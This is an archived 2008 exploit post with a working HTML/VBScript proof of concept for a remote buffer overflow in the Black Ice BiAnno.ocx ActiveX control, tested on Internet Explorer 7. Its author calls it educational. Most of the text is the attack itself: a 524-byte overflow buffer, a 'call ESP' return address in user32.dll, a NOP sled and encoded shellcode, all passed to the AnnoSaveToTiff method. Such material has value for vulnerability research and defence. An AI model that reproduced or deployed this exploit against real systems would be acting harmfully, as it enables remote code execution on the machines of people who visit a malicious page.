blackicebianno2-overflow.txt
Posted on 11 June 2008
------------------------------------------------------------------------------ Black Ice Software Annotation Plugin (BiAnno.ocx) Remote Buffer Overflow (2) url: http://www.blackice.com File : BiAnno.ocx Ver. : 10.9.5.0 CLSID: {B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A} Mark.: RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: False Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 In memory of rgod ------------------------------------------------------------------------------ <object classid='clsid:B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe buff = String(524, "A") get_EIP = unescape("%EB%BA%3F%7E") 'call ESP from user32.dll nop = String(9, unescape("%90")) shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + get_EIP + nop + shellcode + nop 'As you can see, I use get_EIP two times. That's because the first one is useful 'to call our shellcode, the second one is just to bypass an exception. test.AnnoSaveToTiff egg, 1 End Sub </script>
